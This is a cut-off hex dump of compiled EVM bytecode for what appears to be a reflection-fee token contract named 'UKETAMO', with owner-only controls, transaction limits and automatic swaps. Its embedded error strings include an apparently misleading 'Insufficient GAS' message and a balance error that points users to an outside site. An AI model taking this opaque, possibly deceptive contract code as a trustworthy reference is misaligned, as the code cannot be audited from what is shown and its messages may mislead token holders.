ffffffffffffff1614610d1d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1490614d0d565b60405180910390fd5b60006127109050600060105490506000610d35612969565b9050610d418383612994565b610d49612969565b8114610d8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d8190614e6d565b60405180910390fd5b816010541415601760156101000a81548160ff021916908315150217905550610dc582610db63061191c565b610dc09190614fd2565b612b71565b50601760159054906101000a900460ff16610de757610de2612f0b565b610df1565b610def610b18565b505b6001601760156101000a81548160ff021916908315150217905550505050565b610e19612395565b73ffffffffffffffffffffffffffffffffffffffff16610e37611b4e565b73ffffffffffffffffffffffffffffffffffffffff1614610e8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e8490614e2d565b60405180910390fd5b600560008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610f19576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1090614d6d565b60405180910390fd5b60005b6007805490508110156111db578173ffffffffffffffffffffffffffffffffffffffff1660078281548110610f7a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156111c85760076001600780549050610fd59190615224565b8154811061100c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660078281548110611071577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600780548061118e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905590556111db565b80806111d390615328565b915050610f1c565b5050565b6000600a54821115611226576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121d90614c4d565b60405180910390fd5b6000611230612969565b90506112458184612f7690919063ffffffff16565b915050919050565b60006006905090565b600860019054906101000a900460ff1681565b611271612395565b73ffffffffffffffffffffffffffffffffffffffff1661128f611b4e565b73ffffffffffffffffffffffffffffffffffffffff16146112e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112dc90614e2d565b60405180910390fd5b600860019054906101000a900460ff1615600860016101000a81548160ff021916908315150217905550565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006113e0611344612395565b846113db8560036000611355612395565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612fce90919063ffffffff16565b6123a8565b6001905092915050565b60156020528060005260406000206000915054906101000a900460ff1681565b611412612395565b73ffffffffffffffffffffffffffffffffffffffff16611430611b4e565b73ffffffffffffffffffffffffffffffffffffffff1614611486576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147d90614e2d565b60405180910390fd5b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600954831115611528576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151f90614dad565b60405180910390fd5b8161154957600061153a84600161302c565b90508060000151915050611561565b600061155684600161302c565b905080602001519150505b92915050565b601760159054906101000a900460ff1681565b611582612395565b73ffffffffffffffffffffffffffffffffffffffff166115a0611b4e565b73ffffffffffffffffffffffffffffffffffffffff16146115f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ed90614e2d565b60405180910390fd5b6115ff8161140a565b61160881611681565b50565b60066020528060005260406000206000915054906101000a900460ff1681565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b611689612395565b73ffffffffffffffffffffffffffffffffffffffff166116a7611b4e565b73ffffffffffffffffffffffffffffffffffffffff16146116fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f490614e2d565b60405180910390fd5b600560008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561178a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161178190614d2d565b60405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561185e5761181a600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111df565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506007819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156119b757600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050611a02565b6119ff600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111df565b90505b919050565b611a0f612395565b73ffffffffffffffffffffffffffffffffffffffff16611a2d611b4e565b73ffffffffffffffffffffffffffffffffffffffff1614611a83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7a90614e2d565b60405180910390fd5b7fd1f66c3d2bc1993a86be5e3d33709d98f0442381befcedd29f578b9b2506b1ce60405160405180910390a160008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60185481565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f554b4554414d4f00000000000000000000000000000000000000000000000000815250905090565b611bbc612395565b73ffffffffffffffffffffffffffffffffffffffff16611bda611b4e565b73ffffffffffffffffffffffffffffffffffffffff1614611c30576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c2790614e2d565b60405180910390fd5b600860009054906101000a900460ff1615600860006101000a81548160ff021916908315150217905550565b6000611d1f611c69612395565b84611d1a8560405180606001604052806025815260200161545b6025913960036000611c93612395565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461290b9092919063ffffffff16565b6123a8565b6001905092915050565b6000611d4d611d36612395565b8484600860009054906101000a900460ff16612586565b6001905092915050565b611d5f612395565b73ffffffffffffffffffffffffffffffffffffffff16611d7d611b4e565b73ffffffffffffffffffffffffffffffffffffffff1614611dd3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dca90614e2d565b60405180910390fd5b6006600a611de191906150ac565b81611dec91906151ca565b60198190555050565b6000600e54905090565b60195481565b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b611e33612395565b73ffffffffffffffffffffffffffffffffffffffff16611e51611b4e565b73ffffffffffffffffffffffffffffffffffffffff1614611ea7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e9e90614e2d565b60405180910390fd5b60006018549050611ed66064611ec88460095461307490919063ffffffff16565b612f7690919063ffffffff16565b6018819055507fd6f586005531e7d32112f5389278497d656f7ed9029f31f85494a3f58ca1833381601854604051611f0f929190614f02565b60405180910390a15050565b6000600d54905090565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611fb4612395565b73ffffffffffffffffffffffffffffffffffffffff16611fd2611b4e565b73ffffffffffffffffffffffffffffffffffffffff1614612028576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161201f90614e2d565b60405180910390fd5b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b61208b612395565b73ffffffffffffffffffffffffffffffffffffffff166120a9611b4e565b73ffffffffffffffffffffffffffffffffffffffff16146120ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120f690614e2d565b60405180910390fd5b8060188190555050565b612111612395565b73ffffffffffffffffffffffffffffffffffffffff1661212f611b4e565b73ffffffffffffffffffffffffffffffffffffffff1614612185576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161217c90614e2d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156121f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121ec90614c6d565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6122ba612395565b73ffffffffffffffffffffffffffffffffffffffff166122d8611b4e565b73ffffffffffffffffffffffffffffffffffffffff161461232e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161232590614e2d565b60405180910390fd5b80601760156101000a81548160ff0219169083151502179055507f7ed863420a49a423f32717f77f47c79cfc816f26cce747f9dd300c67cb17b647816040516123779190614bf5565b60405180910390a150565b600860009054906101000a900460ff1681565b6000803390506000819050809250505090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612418576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161240f90614e6d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612488576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161247f90614c8d565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516125669190614e8d565b60405180910390a3505050565b600080823b905060008111915050919050565b600082116125c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125c090614e4d565b60405180910390fd5b6125d28461191c565b821115612614576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161260b90614ded565b60405180910390fd5b61261c611b4e565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561268a575061265a611b4e565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156127365750601560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156127355750601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b5b1561278157601854821115612780576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161277790614dcd565b60405180910390fd5b5b600061278c3061191c565b9050601854811061279d5760185490505b600060195482101590508080156127c15750601760149054906101000a900460ff16155b801561281b5750601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614155b80156128335750601760159054906101000a900460ff165b15612847576019549150612846826130ef565b5b60008380156128f45750600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806128f25750600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b155b9050612902878787846131cb565b50505050505050565b6000838311158290612953576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161294a9190614c2b565b60405180910390fd5b5082846129609190615224565b90509392505050565b6000806000612976613861565b9150915061298d8183612f7690919063ffffffff16565b9250505090565b806010541415612a89576127106009546129ae91906151ca565b6009546129bb9190614fd2565b600981905550612a2082600a546129d291906151ca565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612fce90919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600a54612a7191906151ca565b600a54612a7e9190614fd2565b600a81905550612b6d565b612710600954612a999190614fd2565b600954612aa69190614fd2565b600981905550601054600a54612abc9190614fd2565b600a81905550612b29612adb600760105461307490919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612fce90919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050565b600080600267ffffffffffffffff811115612bb5577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015612be35781602001602082028036833780820191505090505b5090503081600081518110612c21577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015612cc357600080fd5b505afa158015612cd7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612cfb9190614294565b81600181518110612d35577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060105483612d7d9190615224565b612da930601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611f25565b1015612ddf57612dde30601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000196123a8565b5b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94760105485612e2b9190615224565b6000843061ea6042612e3d9190614fd2565b6040518663ffffffff1660e01b8152600401612e5d959493929190614ea8565b600060405180830381600087803b158015612e7757600080fd5b505af1925050508015612e88575060015b612ecb577f22b212abbac4f28435a37f1253f735d1d9c9b444577feee64b691ca091130297604051612eb990614ccd565b60405180910390a16000915050612f06565b7f22b212abbac4f28435a37f1253f735d1d9c9b444577feee64b691ca091130297604051612ef890614ced565b60405180910390a160019150505b919050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015612f73573d6000803e3d6000fd5b50565b6000808211612fba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612fb190614d8d565b60405180910390fd5b8183612fc69190615028565b905092915050565b6000808284612fdd9190614fd2565b905083811015613022576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161301990614cad565b60405180910390fd5b8091505092915050565b6130346141c5565b61303e8383613bac565b905061305381848461304e612969565b613cae565b83600001846020018560400183815250838152508381525050505092915050565b60008083141561308757600090506130e9565b6000828461309591906151ca565b90508284826130a49190615028565b146130e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016130db90614e0d565b60405180910390fd5b809150505b92915050565b6001601760146101000a81548160ff0219169083151502179055506000613120600283612f7690919063ffffffff16565b905060006131378284613d7190919063ffffffff16565b9050600047905061314783612b71565b156131aa5760006131618247613d7190919063ffffffff16565b905061316d8382613dca565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5618482856040516131a093929190614f2b565b60405180910390a1505b5050506000601760146101000a81548160ff02191690831515021790555050565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054141561322c57600c600081548092919061322690615328565b91905055505b6000613238838361302c565b9050600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156132dd5750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561337c5761333483600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613d7190919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061369a565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561341f5750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156134c25761347a8160600151600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612fce90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613699565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156135645750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15613698576135bb83600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613d7190919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506136548160600151600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612fce90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b5b6136f08160000151600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613d7190919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508060200151600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546137829190614fd2565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506137d28160a00151613eca565b6137e48160400151826080015161406f565b6137f18160c001516140a9565b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83606001516040516138529190614e8d565b60405180910390a35050505050565b6000806000600a5490506000600954905060005b600780549050811015613b6f578260016000600784815481106138c1577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411806139d5575081600260006007848154811061396d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156139ec57600a5460095494509450505050613ba8565b613aa26001600060078481548110613a2d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484613d7190919063ffffffff16565b9250613b5a6002600060078481548110613ae5577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483613d7190919063ffffffff16565b91508080613b6790615328565b915050613875565b50613b87600954600a54612f7690919063ffffffff16565b821015613b9f57600a54600954935093505050613ba8565b81819350935050505b9091565b613bb46141c5565b81613bc85782816060018181525050613ca8565b613bf06064613be26011548661307490919063ffffffff16565b612f7690919063ffffffff16565b816080018181525050613c216064613c136012548661307490919063ffffffff16565b612f7690919063ffffffff16565b8160a0018181525050613c526064613c446013548661307490919063ffffffff16565b612f7690919063ffffffff16565b8160c0018181525050613c9e8160c00151613c908360a00151613c82856080015188613d7190919063ffffffff16565b613d7190919063ffffffff16565b613d7190919063ffffffff16565b8160600181815250505b92915050565b6000806000613cc6848761307490919063ffffffff16565b925084613cdc5782836000925092509250613d67565b613cf384886080015161307490919063ffffffff16565b90506000613d0e858960a0015161307490919063ffffffff16565b90506000613d29868a60c0015161307490919063ffffffff16565b9050613d6281613d5484613d46878a613d7190919063ffffffff16565b613d7190919063ffffffff16565b613d7190919063ffffffff16565b935050505b9450945094915050565b600082821115613db6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613dad90614d4d565b60405180910390fd5b8183613dc29190615224565b905092915050565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719823085600080613e16611b4e565b426040518863ffffffff1660e01b8152600401613e3896959493929190614b94565b6060604051808303818588803b158015613e5157600080fd5b505af1158015613e65573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190613e8a9190614412565b5050507f38f8a0c92f4c5b0b6877f878cb4c0c8d348a47b76d716c8e78f425043df9515b8282604051613ebe929190614f02565b60405180910390a15050565b6000613ed4612969565b90506000613eeb828461307490919063ffffffff16565b9050613f3f81600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612fce90919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561406a5761402683600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612fce90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b61408482600a54613d7190919063ffffffff16565b600a8190555061409f81600b54612fce90919063ffffffff16565b600b819055505050565b60006140b3612969565b905060006140ca828461307490919063ffffffff16565b90506140e183600e54612fce90919063ffffffff16565b600e8190555061415b8160016000601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612fce90919063ffffffff16565b60016000601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6040518060e00160405280600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081525090565b600081359050614211816153ed565b92915050565b600081519050614226816153ed565b92915050565b60008135905061423b81615404565b92915050565b6000813590506142508161541b565b92915050565b6000815190506142658161541b565b92915050565b60006020828403121561427d57600080fd5b600061428b84828501614202565b91505092915050565b6000602082840312156142a657600080fd5b60006142b484828501614217565b91505092915050565b600080604083850312156142d057600080fd5b60006142de85828601614202565b92505060206142ef85828601614202565b9150509250929050565b60008060006060848603121561430e57600080fd5b600061431c86828701614202565b935050602061432d86828701614202565b925050604061433e86828701614241565b9150509250925092565b6000806040838503121561435b57600080fd5b600061436985828601614202565b925050602061437a85828601614241565b9150509250929050565b60006020828403121561439657600080fd5b60006143a48482850161422c565b91505092915050565b6000602082840312156143bf57600080fd5b60006143cd84828501614241565b91505092915050565b600080604083850312156143e957600080fd5b60006143f785828601614241565b92505060206144088582860161422c565b9150509250929050565b60008060006060848603121561442757600080fd5b600061443586828701614256565b935050602061444686828701614256565b925050604061445786828701614256565b9150509250925092565b600061446d8383614488565b60208301905092915050565b6144828161526a565b82525050565b61449181615258565b82525050565b6144a081615258565b82525050565b60006144b182614f8d565b6144bb8185614fb0565b93506144c683614f7d565b8060005b838110156144f75781516144de8882614461565b97506144e983614fa3565b9250506001810190506144ca565b5085935050505092915050565b61450d8161527c565b82525050565b61451c816152bf565b82525050565b61452b816152e3565b82525050565b600061453c82614f98565b6145468185614fc1565b93506145568185602086016152f5565b61455f816153cf565b840191505092915050565b6000614577602a83614fc1565b91507f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008301527f65666c656374696f6e73000000000000000000000000000000000000000000006020830152604082019050919050565b60006145dd602683614fc1565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000614643602283614fc1565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006146a9601b83614fc1565b91507f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006000830152602082019050919050565b60006146e9600683614fc1565b91507f4661696c656400000000000000000000000000000000000000000000000000006000830152602082019050919050565b6000614729600783614fc1565b91507f53756363657373000000000000000000000000000000000000000000000000006000830152602082019050919050565b6000614769601783614fc1565b91507f4572726f723a20496e73756666696369656e74204741530000000000000000006000830152602082019050919050565b60006147a9601b83614fc1565b91507f4163636f756e7420697320616c7265616479206578636c7564656400000000006000830152602082019050919050565b60006147e9601e83614fc1565b91507f536166654d6174683a207375627472616374696f6e206f766572666c6f7700006000830152602082019050919050565b6000614829601783614fc1565b91507f4163636f756e74206973206e6f74206578636c756465640000000000000000006000830152602082019050919050565b6000614869601a83614fc1565b91507f536166654d6174683a206469766973696f6e206279207a65726f0000000000006000830152602082019050919050565b60006148a9601f83614fc1565b91507f416d6f756e74206d757374206265206c657373207468616e20737570706c79006000830152602082019050919050565b60006148e9602883614fc1565b91507f5472616e7366657220616d6f756e74206578636565647320746865206d61785460008301527f78416d6f756e742e0000000000000000000000000000000000000000000000006020830152604082019050919050565b600061494f604783614fc1565b91507f496e7375662062616c616e63652c20636865636b2062616c616e63652061742060008301527f5361666553616c652e66696e616e636520696620796f75206861766520746f6b60208301527f656e206c6f636b000000000000000000000000000000000000000000000000006040830152606082019050919050565b60006149db602183614fc1565b91507f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008301527f77000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000614a41602083614fc1565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b6000614a81602983614fc1565b91507f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008301527f7468616e207a65726f00000000000000000000000000000000000000000000006020830152604082019050919050565b6000614ae7602483614fc1565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b614b49816152a8565b82525050565b614b58816152b2565b82525050565b6000602082019050614b736000830184614497565b92915050565b6000602082019050614b8e6000830184614479565b92915050565b600060c082019050614ba96000830189614497565b614bb66020830188614b40565b614bc36040830187614522565b614bd06060830186614522565b614bdd6080830185614497565b614bea60a0830184614b40565b979650505050505050565b6000602082019050614c0a6000830184614504565b92915050565b6000602082019050614c256000830184614513565b92915050565b60006020820190508181036000830152614c458184614531565b905092915050565b60006020820190508181036000830152614c668161456a565b9050919050565b60006020820190508181036000830152614c86816145d0565b9050919050565b60006020820190508181036000830152614ca681614636565b9050919050565b60006020820190508181036000830152614cc68161469c565b9050919050565b60006020820190508181036000830152614ce6816146dc565b9050919050565b60006020820190508181036000830152614d068161471c565b9050919050565b60006020820190508181036000830152614d268161475c565b9050919050565b60006020820190508181036000830152614d468161479c565b9050919050565b60006020820190508181036000830152614d66816147dc565b9050919050565b60006020820190508181036000830152614d868161481c565b9050919050565b60006020820190508181036000830152614da68161485c565b9050919050565b60006020820190508181036000830152614dc68161489c565b9050919050565b60006020820190508181036000830152614de6816148dc565b9050919050565b60006020820190508181036000830152614e0681614942565b9050919050565b60006020820190508181036000830152614e26816149ce565b9050919050565b60006020820190508181036000830152614e4681614a34565b9050919050565b60006020820190508181036000830152614e6681614a74565b9050919050565b60006020820190508181036000830152614e8681614ada565b9050919050565b6000602082019050614ea26000830184614b40565b92915050565b600060a082019050614ebd6000